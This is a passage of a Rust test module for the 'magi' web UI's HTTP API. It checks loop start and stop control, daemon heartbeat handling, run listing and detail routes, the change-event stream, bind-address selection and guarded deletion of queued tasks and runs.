6931            "two loops on one queue race for the same claims: {}",
6932            again.body
6933        );
6934        assert!(
6935            again.json()["error"]
6936                .as_str()
6937                .is_some_and(|e| e.contains("already running the loop")),
6938            "the refusal has to say why: {}",
6939            again.body
6940        );
6941        assert_eq!(
6942            f.get("/api/loop").await.json()["running"],
6943            true,
6944            "and the loop that was already running is untouched by it"
6945        );
6946
6947        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6948    }
6949
6950    #[tokio::test]
6951    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6952        let f = Fixture::start().await;
6953        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6954
6955        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6956        assert_eq!(
6957            res.status, 200,
6958            "the answer must not wait for the loop: a run in flight is tens of \
6959             minutes and the operator is holding a phone: {}",
6960            res.body
6961        );
6962
6963        let view = settled(&f, |v| v["running"] == false).await;
6964        assert_eq!(view["owned"], false);
6965        assert_eq!(
6966            view["stopping"], false,
6967            "a loop that has stopped is not still stopping: {view}"
6968        );
6969        assert_eq!(
6970            view["last_error"],
6971            Value::Null,
6972            "a loop that was asked to stop did not fail: {view}"
6973        );
6974
6975        // Idempotent, because the operator cannot tell a slow stop from a lost
6976        // one and will press it again.
6977        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6978        assert_eq!(twice.status, 200, "{}", twice.body);
6979    }
6980
6981    #[tokio::test]
6982    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6983        let f = Fixture::start().await;
6984        // How the operator has been doing it: a `magi serve` of their own,
6985        // heartbeat fresh, in the same home this UI reads.
6986        write_daemon(f.home.path(), Timestamp::now());
6987
6988        let view = f.get("/api/loop").await.json();
6989        assert_eq!(view["running"], false, "not in this process: {view}");
6990        assert_eq!(view["owned"], false, "and not this process's to control");
6991        assert_eq!(
6992            view["daemon"]["running"], true,
6993            "but a loop is alive somewhere, which is what the UI must say"
6994        );
6995        assert_eq!(view["daemon"]["pid"], 4242);
6996
6997        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6998            let res = f.post("/api/loop", Some(body)).await;
6999            assert_eq!(
7000                res.status, 409,
7001                "neither button may pretend to work on someone else's loop: {}",
7002                res.body
7003            );
7004            assert!(
7005                res.json()["error"]
7006                    .as_str()
7007                    .is_some_and(|e| e.contains("4242")),
7008                "the refusal has to name the process the operator must go to: {}",
7009                res.body
7010            );
7011        }
7012        assert_eq!(
7013            f.get("/api/loop").await.json()["running"],
7014            false,
7015            "and the refusal started nothing"
7016        );
7017    }
7018
7019    #[tokio::test]
7020    async fn a_stale_status_file_is_not_a_foreign_owner() {
7021        let f = Fixture::start().await;
7022        write_daemon(
7023            f.home.path(),
7024            Timestamp::now() - jiff::SignedDuration::from_secs(60),
7025        );
7026
7027        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7028        assert_eq!(
7029            res.status, 200,
7030            "a daemon killed a minute ago must not lock the loop out of its \
7031             own home for good: {}",
7032            res.body
7033        );
7034        assert_eq!(res.json()["running"], true);
7035
7036        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7037    }
7038
7039    #[tokio::test]
7040    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7041        let f = Fixture::start().await;
7042        let before = f.get("/api/health").await.json()["loop_rev"]
7043            .as_u64()
7044            .expect("a loop revision");
7045
7046        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7047
7048        let after = f.get("/api/health").await.json()["loop_rev"]
7049            .as_u64()
7050            .expect("a loop revision");
7051        assert!(
7052            after > before,
7053            "the loop is in-process state, so this counter is the only thing \
7054             that tells a second device the first one started it: {before} -> \
7055             {after}"
7056        );
7057
7058        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7059    }
7060
7061    #[tokio::test]
7062    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7063        let f = Fixture::with_loop(launch_broken).await;
7064
7065        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7066        assert_eq!(
7067            res.status, 200,
7068            "starting it is not the failure: {}",
7069            res.body
7070        );
7071
7072        let view = settled(&f, |v| v["last_error"].is_string()).await;
7073        assert_eq!(
7074            view["running"], false,
7075            "a loop that died must not read as running, or the operator has \
7076             nothing to press: {view}"
7077        );
7078        assert_eq!(view["owned"], false);
7079        assert!(
7080            view["last_error"]
7081                .as_str()
7082                .is_some_and(|e| e.contains("read-only file system")),
7083            "the phone is where a loop that died at 3am is visible: {view}"
7084        );
7085
7086        // And it can be started again: the corpse was reaped, not left to
7087        // occupy the slot.
7088        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7089        assert_eq!(again.status, 200, "{}", again.body);
7090        assert_eq!(
7091            again.json()["last_error"],
7092            Value::Null,
7093            "a fresh start does not keep showing why the last one died"
7094        );
7095    }
7096
7097    /// An upgrade parks the run in flight before it restarts, and a park waits
7098    /// for the node - up to `timeout_implement`, an hour by default. The deck
7099    /// has to answer for all of it: the operator has just been told a run is
7100    /// finishing first, and this address is the only place that says how it is
7101    /// going. It did not, once - the listener went with the `select!` arm that
7102    /// began the handover, and the phone got `Cannot reach magi: Failed to
7103    /// fetch` for the rest of the wave.
7104    ///
7105    /// The other half is the older rule: the address must be free *before* the
7106    /// successor is started, or it dies on "address already in use" with its
7107    /// stdio sent to null and the deck never comes back.
7108    #[tokio::test]
7109    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7110        let home = TempDir::new().expect("temp home");
7111        let runs = home.path().join("runs");
7112        std::fs::create_dir_all(&runs).expect("runs dir");
7113        let ui = Ui::new(
7114            Queue::at(home.path().join("queue")),
7115            Questions::at(home.path().join("questions")),
7116            Chats::at(home.path().join("chats")),
7117            Talks::at(home.path().join("talks")),
7118            runs,
7119            home.path().to_path_buf(),
7120            PathBuf::from("/repo/magi"),
7121        )
7122        .with_worktrees_root(home.path().join("wt"))
7123        .with_launch(launch_knocking_on_the_way_out);
7124        let looping = ui.looping();
7125        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7126            .await
7127            .expect("bind loopback");
7128        let addr = listener.local_addr().expect("local addr");
7129        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7130        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7131
7132        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7133        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7134
7135        // The successor's whole job, and the one thing it cannot do while this
7136        // process still holds the socket.
7137        let bound = std::sync::Mutex::new(None);
7138        hand_over(home.path(), &looping, served, || {
7139            let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
7140            *bound.lock().expect("bound") = Some(attempt);
7141            Ok(())
7142        })
7143        .await
7144        .expect("hand over");
7145
7146        assert_eq!(
7147            *PARK_HEARD.lock().expect("park heard"),
7148            Some(200),
7149            "the deck must answer while the loop is parking"
7150        );
7151        let attempt = bound
7152            .lock()
7153            .expect("bound")
7154            .take()
7155            .expect("the successor was started");
7156        assert!(
7157            attempt.is_ok(),
7158            "and the address must be free by the time it is: {attempt:?}"
7159        );
7160    }
7161
7162    #[tokio::test]
7163    async fn a_newer_daemon_status_file_still_renders() {
7164        let f = Fixture::start().await;
7165        // A field this build has never heard of must not turn the status line
7166        // into a 500; that is the whole reason the reader is permissive.
7167        std::fs::write(
7168            f.home.path().join("daemon.json"),
7169            serde_json::json!({
7170                "schema": 2,
7171                "updated_at": Timestamp::now().to_string(),
7172                "idle": true,
7173                "surprise": { "nested": [1, 2, 3] },
7174            })
7175            .to_string(),
7176        )
7177        .expect("write daemon.json");
7178
7179        let health = f.get("/api/health").await;
7180
7181        assert_eq!(health.status, 200);
7182        assert_eq!(health.json()["daemon"]["running"], true);
7183    }
7184
7185    #[tokio::test]
7186    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7187        let f = Fixture::start().await;
7188        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7189        let broken = f.runs().join("20260902-140502-bad");
7190        std::fs::create_dir_all(&broken).expect("run dir");
7191        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7192
7193        let list = f.get("/api/runs").await;
7194        let detail = f.get("/api/runs/20260902-140502-bad").await;
7195
7196        assert_eq!(list.status, 200);
7197        let listed = list.json();
7198        let ids: Vec<&str> = listed
7199            .as_array()
7200            .expect("an array")
7201            .iter()
7202            .map(|r| r["id"].as_str().expect("an id"))
7203            .collect();
7204        assert_eq!(
7205            ids,
7206            vec!["20260902-140501-good"],
7207            "one unreadable run must not cost the operator the whole history"
7208        );
7209        assert_eq!(detail.status, 500);
7210        assert!(
7211            detail.json()["error"]
7212                .as_str()
7213                .is_some_and(|e| e.contains("run.json")),
7214            "the failure names the file to look at: {}",
7215            detail.body
7216        );
7217        // A skipped run has to be countable somewhere, or the UI shows an
7218        // empty history with nothing to explain it - which is exactly what a
7219        // directory full of older-schema runs looks like.
7220        let health = f.get("/api/health").await;
7221        assert_eq!(health.json()["runs_unreadable"], 1);
7222    }
7223
7224    #[tokio::test]
7225    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
7226        let f = Fixture::start().await;
7227        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
7228
7229        let summary = f.get("/api/runs").await.json();
7230        let row = &summary[0];
7231        assert_eq!(row["short"], "a1b2");
7232        assert_eq!(row["status"], "ready");
7233        assert_eq!(row["done"], true);
7234        assert_eq!(row["title"], "Add a web UI");
7235        assert_eq!(row["repo_name"], "magi");
7236        assert_eq!(row["judges"], 3);
7237        assert_eq!(row["winner"], Value::Null);
7238        assert_eq!(row["reviews"], 0);
7239
7240        // The short id resolves, and the detail route is the state itself, not
7241        // a projection of it: the UI reads fields the summary does not carry.
7242        let detail = f.get("/api/runs/a1b2").await;
7243        assert_eq!(detail.status, 200);
7244        assert_eq!(detail.json()["base_branch"], "main");
7245        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
7246    }
7247
7248    /// `RunState::active` is only ever cleared by whoever populated it, so the
7249    /// detail route also has to say whether a daemon is actually still
7250    /// driving this run right now — otherwise a seat from a killed process's
7251    /// last wave would read as live forever.
7252    #[tokio::test]
7253    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
7254        let f = Fixture::start().await;
7255        // Matches `write_daemon`'s hard-coded `current.run`, so the second
7256        // half of this test can claim the daemon is working on it without a
7257        // second helper.
7258        let id = "20260902-140502-bbbb";
7259        let mut state = RunState::new(
7260            PathBuf::from("/repo/magi"),
7261            "main".to_owned(),
7262            "0123456789abcdef".to_owned(),
7263            "Add a web UI".to_owned(),
7264            Config::default(),
7265        );
7266        state.id = id.to_owned();
7267        state.status = RunStatus::Judging;
7268        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
7269        let dir = f.runs().join(id);
7270        std::fs::create_dir_all(&dir).expect("run dir");
7271        std::fs::write(
7272            dir.join("run.json"),
7273            serde_json::to_string_pretty(&state).expect("serialize run"),
7274        )
7275        .expect("write run.json");
7276
7277        // No daemon.json at all: the entry cannot be told from a leftover, so
7278        // the route must say so rather than let the phone assume it is live.
7279        let cold = f.get(&format!("/api/runs/{id}")).await.json();
7280        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
7281        assert_eq!(cold["live"], false, "{cold}");
7282
7283        // A fresh heartbeat naming exactly this run: the same entry now reads
7284        // as confirmed, not merely recorded.
7285        write_daemon(f.home.path(), Timestamp::now());
7286        let warm = f.get(&format!("/api/runs/{id}")).await.json();
7287        assert_eq!(warm["live"], true, "{warm}");
7288    }
7289
7290    #[tokio::test]
7291    async fn the_run_list_is_newest_first_and_honours_a_limit() {
7292        let f = Fixture::start().await;
7293        for id in [
7294            "20260902-140501-aaaa",
7295            "20260902-140502-bbbb",
7296            "20260902-140503-cccc",
7297        ] {
7298            write_run(&f.runs(), id, RunStatus::Merged);
7299        }
7300
7301        let all = f.get("/api/runs").await.json();
7302        let capped = f.get("/api/runs?limit=2").await.json();
7303
7304        assert_eq!(all[0]["id"], "20260902-140503-cccc");
7305        assert_eq!(all.as_array().map(Vec::len), Some(3));
7306        assert_eq!(capped.as_array().map(Vec::len), Some(2));
7307        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
7308    }
7309
7310    #[tokio::test]
7311    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
7312        let f = Fixture::start().await;
7313        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
7314
7315        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
7316
7317        assert_eq!(res.status, 200);
7318        assert!(
7319            res.headers
7320                .contains("content-type: text/plain; charset=utf-8"),
7321            "a browser must render it, not download it: {}",
7322            res.headers
7323        );
7324        // The assertion is on content, not on the absence of escapes: colour
7325        // is a process-global that `serve` turns off at startup, and another
7326        // test in this binary may own it while this one runs.
7327        assert!(
7328            res.body.contains("20260902-140501-a1b2"),
7329            "the report is about the run that was asked for: {}",
7330            res.body
7331        );
7332    }
7333
7334    #[tokio::test]
7335    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
7336        let f = Fixture::start().await;
7337
7338        let html = f.get("/").await;
7339        let css = f.get("/app.css").await;
7340        let js = f.get("/app.js").await;
7341
7342        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
7343        assert!(
7344            html.headers
7345                .contains("content-type: text/html; charset=utf-8")
7346        );
7347        assert!(css.headers.contains("content-type: text/css"));
7348        assert!(js.headers.contains("content-type: text/javascript"));
7349        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
7350    }
7351
7352    #[tokio::test]
7353    async fn the_change_stream_announces_the_current_revisions_on_connect() {
7354        let f = Fixture::start().await;
7355
7356        let mut socket = tokio::net::TcpStream::connect(f.addr)
7357            .await
7358            .expect("connect");
7359        socket
7360            .write_all(
7361                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
7362            )
7363            .await
7364            .expect("write request");
7365
7366        // Read until the first event arrives rather than to end of stream: the
7367        // stream is endless by design, which is the point of the route.
7368        let mut seen = String::new();
7369        let mut buf = [0u8; 1024];
7370        while !seen.contains("event: change") {
7371            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
7372                .await
7373                .expect("the stream must speak within five seconds")
7374                .expect("read");
7375            assert!(read > 0, "the server closed the change stream: {seen}");
7376            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
7377        }
7378
7379        assert!(
7380            seen.to_lowercase()
7381                .contains("content-type: text/event-stream"),
7382            "the browser only reconnects automatically for a real SSE stream: {seen}"
7383        );
7384        let data = seen
7385            .lines()
7386            .find_map(|l| l.strip_prefix("data:"))
7387            .expect("a data line");
7388        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
7389        assert!(
7390            payload["queue_rev"].is_u64()
7391                && payload["runs_rev"].is_u64()
7392                && payload["questions_rev"].is_u64()
7393                && payload["chats_rev"].is_u64()
7394                && payload["talks_rev"].is_u64()
7395                && payload["loop_rev"].is_u64(),
7396            "the client needs one revision per store to know what to refetch, \
7397             and `chats_rev` / `talks_rev` are the only notification a slow \
7398             interview or a standing talk get - a phone whose radio slept \
7399             through a turn learns about it here, as does one whose operator \
7400             started the loop from another device: {payload}"
7401        );
7402
7403        // The front end re-polls health on a timer and on wake, and takes the
7404        // revisions from that answer whenever the stream is not up. So health
7405        // has to carry every key the stream carries: a phone on a link that
7406        // will not hold an SSE connection is exactly the phone that must still
7407        // notice a question, and a missing key there is not a 500 but a UI
7408        // that quietly stops updating.
7409        let health = f.get("/api/health").await.json();
7410        for key in [
7411            "queue_rev",
7412            "runs_rev",
7413            "questions_rev",
7414            "chats_rev",
7415            "talks_rev",
7416            "loop_rev",
7417        ] {
7418            assert!(
7419                health[key].is_u64(),
7420                "health is the change stream's fallback and is missing `{key}`: {health}"
7421            );
7422        }
7423    }
7424
7425    #[tokio::test]
7426    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
7427        let f = Fixture::start().await;
7428        let before = f.get("/api/health").await.json()["talks_rev"]
7429            .as_u64()
7430            .expect("talks_rev");
7431
7432        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
7433        std::thread::sleep(Duration::from_millis(10));
7434        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
7435        on_disk.turns.push(crate::talk::Turn {
7436            who: crate::talk::Who::Operator,
7437            body: "a new turn".to_owned(),
7438            at: Timestamp::now(),
7439            attachments: Vec::new(),
7440        });
7441        f.talks().put(&mut on_disk).expect("record a turn");
7442
7443        let after = f.get("/api/health").await.json()["talks_rev"]
7444            .as_u64()
7445            .expect("talks_rev");
7446        assert_ne!(
7447            before, after,
7448            "a phone must be able to notice a talk's reply without polling every store"
7449        );
7450    }
7451
7452    #[test]
7453    fn bind_reads_back_from_the_spelling_the_cli_prints() {
7454        // The CLI shows the default in `--help` and parses whatever comes
7455        // back, so the two directions have to agree or `--bind auto` breaks
7456        // the moment someone copies the help text.
7457        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
7458            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
7459        }
7460        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
7461        assert!("everywhere".parse::<Bind>().is_err());
7462    }
7463
7464    #[test]
7465    fn an_explicit_bind_address_is_taken_verbatim() {
7466        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
7467
7468        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
7469
7470        assert_eq!(addr, asked);
7471        assert!(
7472            warning.is_none(),
7473            "an operator who named an address gets no lecture"
7474        );
7475    }
7476
7477    #[test]
7478    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
7479        let (addr, warning) = resolve_bind(&Bind::Auto);
7480
7481        // This has to hold on a CI runner with no `tailscale` and on a dev box
7482        // with one, so the invariant asserted is the one shared by both
7483        // outcomes: the address is either a real tailnet address offered
7484        // without comment, or loopback with an explanation. What must never
7485        // happen is a silent fallback - an operator told "listening on
7486        // 127.0.0.1" with no reason would go looking for a firewall.
7487        match addr {
7488            IpAddr::V4(ip) if is_tailnet(&ip) => {
7489                assert!(warning.is_none(), "a tailnet address needs no warning");
7490            }
7491            other => {
7492                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
7493                let warning = warning.expect("a fallback has to explain itself");
7494                assert!(
7495                    warning.contains("127.0.0.1") && warning.contains("local-only"),
7496                    "the warning says what happened and what it costs: {warning}"
7497                );
7498            }
7499        }
7500    }
7501
7502    #[test]
7503    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
7504        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
7505        // boundary cases are what stop us binding to some other tool's idea of
7506        // an address.
7507        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
7508        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
7509        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
7510        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
7511        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
7512    }
7513
7514    #[test]
7515    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
7516        let ids = vec![
7517            "20260902-140501-aaaa".to_owned(),
7518            "20260902-140502-aabb".to_owned(),
7519        ];
7520
7521        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
7522        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
7523        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
7524
7525        assert_eq!(missing.status, StatusCode::NOT_FOUND);
7526        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
7527        assert_eq!(short, "20260902-140502-aabb");
7528    }
7529    #[tokio::test]
7530    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
7531        // The prompt tells agents to reference attachments by bare filename.
7532        // A document served at `.../panel` resolves `shot.png` against its own
7533        // directory, i.e. `.../shot.png`, which is not the asset route - so a
7534        // panel written exactly as instructed showed broken images. Caught by
7535        // looking at a real one in a browser, not by reading the code.
7536        let fx = Fixture::start().await;
7537        let id = panel(
7538            &fx,
7539            "<img src=\"shot.png\">",
7540            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
7541        );
7542
7543        // The frame's own URL ends in a filename, so its siblings are reachable.
7544        let doc = fx
7545            .get(&format!("/api/questions/{id}/panel/index.html"))
7546            .await;
7547        assert_eq!(doc.status, 200, "{}", doc.body);
7548        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
7549
7550        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
7551        assert_eq!(sibling.status, 200, "{}", sibling.body);
7552        assert_eq!(sibling.header("content-type"), Some("image/png"));
7553        assert_eq!(
7554            sibling.header("content-security-policy"),
7555            Some(PANEL_CSP),
7556            "the sibling route must carry the same policy as the asset route"
7557        );
7558
7559        // The original spelling keeps working: HEAD on it is how the front end
7560        // decides whether to mount a frame at all.
7561        assert_eq!(
7562            fx.head(&format!("/api/questions/{id}/panel")).await.status,
7563            200
7564        );
7565    }
7566
7567    #[test]
7568    fn runs_revision_moves_when_deleting_an_older_run() {
7569        let temp = TempDir::new().expect("tempdir");
7570        let runs = temp.path().join("runs");
7571        std::fs::create_dir_all(&runs).expect("create runs dir");
7572
7573        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
7574
7575        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
7576        std::thread::sleep(Duration::from_millis(10));
7577        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
7578
7579        let rev_before = runs_revision(&runs);
7580        assert!(rev_before > 0);
7581
7582        let old_dir = runs.join("20260901-100000-old1");
7583        std::fs::remove_dir_all(&old_dir).expect("remove old run");
7584
7585        let rev_after = runs_revision(&runs);
7586        assert_ne!(
7587            rev_before, rev_after,
7588            "deleting an older run must change the revision so other clients see the deletion"
7589        );
7590    }
7591
7592    /// A run's own `run.json` on an explicit `runs` root, bypassing the
7593    /// process-global home entirely — `RunState::save` writes through
7594    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
7595    /// (see `tests::home_lock` in the integration suite for why).
7596    fn write_state(runs: &FsPath, state: &RunState) {
7597        let dir = runs.join(&state.id);
7598        std::fs::create_dir_all(&dir).expect("run dir");
7599        std::fs::write(
7600            dir.join("run.json"),
7601            serde_json::to_string_pretty(state).expect("serialize run"),
7602        )
7603        .expect("write run.json");
7604    }
7605
7606    /// A seat starting or finishing is a write to `run.json` like any other,
7607    /// so it moves the same revision the change stream already watches —
7608    /// nothing new for `/api/events` to learn, but the property this feature
7609    /// depends on to reach the phone without a poll.
7610    #[test]
7611    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
7612        let temp = TempDir::new().expect("tempdir");
7613        let runs = temp.path().join("runs");
7614        std::fs::create_dir_all(&runs).expect("create runs dir");
7615        let mut state = RunState::new(
7616            PathBuf::from("/repo/magi"),
7617            "main".to_owned(),
7618            "0123456789abcdef".to_owned(),
7619            "task".to_owned(),
7620            Config::default(),
7621        );
7622        state.id = "20260902-100000-c0de".to_owned();
7623        write_state(&runs, &state);
7624
7625        let rev_idle = runs_revision(&runs);
7626        std::thread::sleep(Duration::from_millis(10));
7627        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
7628        write_state(&runs, &state);
7629        let rev_started = runs_revision(&runs);
7630        assert_ne!(
7631            rev_idle, rev_started,
7632            "a seat starting must move the revision"
7633        );
7634
7635        std::thread::sleep(Duration::from_millis(10));
7636        state.seat_finished("judge-1");
7637        write_state(&runs, &state);
7638        let rev_finished = runs_revision(&runs);
7639        assert_ne!(
7640            rev_started, rev_finished,
7641            "and clearing it again must move the revision a second time"
7642        );
7643    }
7644
7645    #[tokio::test]
7646    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
7647        let fx = Fixture::start().await;
7648        let q = fx.queue();
7649
7650        // 1. A queued task with runs attached can be deleted.
7651        let mut t1 = Task::new(
7652            "Task 1".to_owned(),
7653            "Instruction 1".to_owned(),
7654            PathBuf::from("/repo"),
7655            Source::Human,
7656        );
7657        let run_id = "20260901-000000-r111";
7658        t1.runs.push(run_id.to_owned());
7659        write_run(&fx.runs(), run_id, RunStatus::Merged);
7660        q.put(&mut t1).expect("put t1");
7661
7662        // Delete by short id
7663        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
7664        assert_eq!(res.status, 204);
7665        assert!(res.body.is_empty(), "204 No Content has no body");
7666        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
7667        assert!(
7668            fx.runs().join(run_id).exists(),
7669            "run directory must not be deleted when its task is deleted"
7670        );
7671
7672        // 2. A task a live daemon is running is refused with 409.
7673        let mut t2 = Task::new(
7674            "Task 2".to_owned(),
7675            "Instruction 2".to_owned(),
7676            PathBuf::from("/repo"),
7677            Source::Human,
7678        );
7679        t2.status = TaskStatus::Running;
7680        q.put(&mut t2).expect("put t2");
7681        let mut beat = crate::daemon::Status::new();
7682        beat.current = vec![crate::daemon::Current {
7683            task: t2.id.clone(),
7684            run: "20260901-000000-r222".to_owned(),
7685        }];
7686        beat.updated_at = jiff::Timestamp::now();
7687        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7688            .expect("publish a heartbeat");
7689        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
7690        assert_eq!(res.status, 409);
7691        assert!(
7692            res.json()["error"]
7693                .as_str()
7694                .unwrap()
7695                .contains("live daemon")
7696        );
7697        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
7698
7699        // 3. The same `running` status and an orphaned lock, with no daemon
7700        // behind either, is a leftover and deletable. Before this the phone
7701        // refused it for good: the status never changes on its own and
7702        // nothing drops a lock whose process is gone.
7703        // The daemon is killed: the file stays, the heartbeat stops.
7704        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
7705        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7706            .expect("leave a stale heartbeat");
7707        let mut t3 = Task::new(
7708            "Task 3".to_owned(),
7709            "Instruction 3".to_owned(),
7710            PathBuf::from("/repo"),
7711            Source::Human,
7712        );
7713        t3.status = TaskStatus::Running;
7714        q.put(&mut t3).expect("put t3");
7715        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
7716        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
7717        assert_eq!(res.status, 204);
7718        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
7719        assert!(
7720            q.claim(&t3.id).is_ok(),
7721            "the stale lock went with it, so the id is claimable again"
7722        );
7723
7724        // 4. Missing id returns 404
7725        let res = fx.delete("/api/queue/nonexistent").await;
7726        assert_eq!(res.status, 404);
7727    }
7728
7729    #[tokio::test]
7730    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
7731        let fx = Fixture::start().await;
7732        let runs = fx.runs();
7733
7734        // 1. Finished and folded run can be deleted along with artifacts
7735        let run_id = "20260901-000000-fold";
7736        let mut state = RunState::new(
7737            PathBuf::from("/repo"),
7738            "main".to_owned(),
7739            "abc".to_owned(),
7740            "instruction".to_owned(),
7741            Config::default(),
7742        );
7743        state.id = run_id.to_owned();
7744        state.status = RunStatus::Merged;
7745        state.candidates.push(crate::run::Candidate {
7746            index: 0,
7747            label: 'A',
7748            agent: "a".to_owned(),
7749            branch: "b".to_owned(),
7750            worktree: PathBuf::from("/w"),
7751            summary: String::new(),
7752            stat: String::new(),
7753            files: 1,
7754            commits: 1,
7755            empty: false,
7756            failed: None,
7757            duration_ms: 0,
7758            folded: true,
7759        });
7760        let dir = runs.join(run_id);
7761        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
7762        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
7763            .expect("write artifact");
7764        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
7765            .expect("write run.json");
7766
7767        // Delete by short id
7768        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
7769        assert_eq!(res.status, 204);
7770        assert!(res.body.is_empty(), "204 has no body");
7771        assert!(!dir.exists(), "run directory and artifacts must be deleted");
7772
7773        // 2. A run a live daemon is working on is refused with 409. The
7774        // heartbeat is what makes it refusable: an unfinished run with no
7775        // daemon behind it is a leftover from a killed process, and case 1
7776        // above would otherwise be impossible to tell apart from this one.
7777        let run_running = "20260901-000000-rung";
7778        write_run(&runs, run_running, RunStatus::Prep);
7779        let mut beat = crate::daemon::Status::new();
7780        beat.current = vec![crate::daemon::Current {
7781            task: "20260901-000000-task".to_owned(),
7782            run: run_running.to_owned(),
7783        }];
7784        beat.updated_at = jiff::Timestamp::now();
7785        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7786            .expect("publish a heartbeat");
7787        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
7788        assert_eq!(res.status, 409);
7789        assert!(
7790            res.json()["error"]
7791                .as_str()
7792                .unwrap()
7793                .contains("live daemon"),
7794            "the refusal must say who is holding it"
7795        );
7796        assert!(
7797            runs.join(run_running).exists(),
7798            "a run in flight keeps its directory"
7799        );
7800
7801        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
7802        let run_unfolded = "20260901-000000-unfd";
7803        let mut state2 = RunState::new(
7804            PathBuf::from("/repo"),
7805            "main".to_owned(),
7806            "abc".to_owned(),
7807            "instruction".to_owned(),
7808            Config::default(),
7809        );
7810        state2.id = run_unfolded.to_owned();
7811        state2.status = RunStatus::Ready;
